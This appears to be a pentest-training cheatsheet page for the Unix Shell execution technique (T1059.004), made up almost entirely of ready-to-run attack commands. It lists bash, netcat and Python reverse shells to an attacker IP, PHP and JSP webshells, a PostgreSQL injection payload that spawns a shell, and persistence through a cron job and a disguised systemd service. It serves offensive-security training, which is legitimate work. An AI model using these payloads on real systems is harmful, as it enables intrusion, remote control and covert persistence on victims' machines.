T1059.004

Unix Shell

Sub-technique of T1059 Command and Scripting Interpreter ↗

Running commands with bash or sh: reverse shells, one-liners and scripts.

How it shows up on Hack The Box

After any command execution on Linux you need a reverse shell and to stabilise it (pty, stty raw -echo) so you can use sudo, su and tab completion.

There are no catalog machines with this technique yet: practice it with the commands and guides in your own lab.

Guides

Reverse shell not connecting or dying: how to fix it 3 min read Why a reverse shell never arrives, drops instantly or dies on Ctrl+C, how to troubleshoot it step by step, and how to turn it into a full terminal on Linux and Windows.

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

Your IP (attacker) Port

Reverse shell generator › Linux

Bash via /dev/tcp

bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'

The leading bash -c is needed when sh runs the command (for example, from a command injection).

mkfifo (works with any nc)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f

Python 3

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("bash")'

Reverse shell generator › Webshells

Webshell that launches the reverse shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?>

Call the webshell with curl Attacker

curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"

JSP

<% Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/443 0>&1"}); %>

Reverse shell generator › Windows

Listener for ConPtyShell Attacker

stty raw -echo; (stty size; cat) | nc -lvnp 443

Upgrade your shell to a full TTY › With script

1. Spawn a pseudo-terminal Target

script /dev/null -c bash

3. Put your terminal in raw mode and go back to the shell Attacker

stty raw -echo; fg

In zsh type it exactly like this, on one line. You will not see what you type after Enter; that is expected.

Upgrade your shell to a full TTY › Python

1. Spawn a pseudo-terminal Target

python3 -c 'import pty; pty.spawn("/bin/bash")'

3. Raw mode and back Attacker

stty raw -echo; fg

SQL injection payloads › PostgreSQL

Reverse shell with COPY

'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"';--

C2 and post-exploitation › Persistence

cron Target

(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/10.10.14.5/443 0>&1") | crontab -

systemd service Target

printf '[Service]\\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"\\n[Install]\\nWantedBy=multi-user.target\\n' | sudo tee /etc/systemd/system/upd.service
sudo systemctl enable --now upd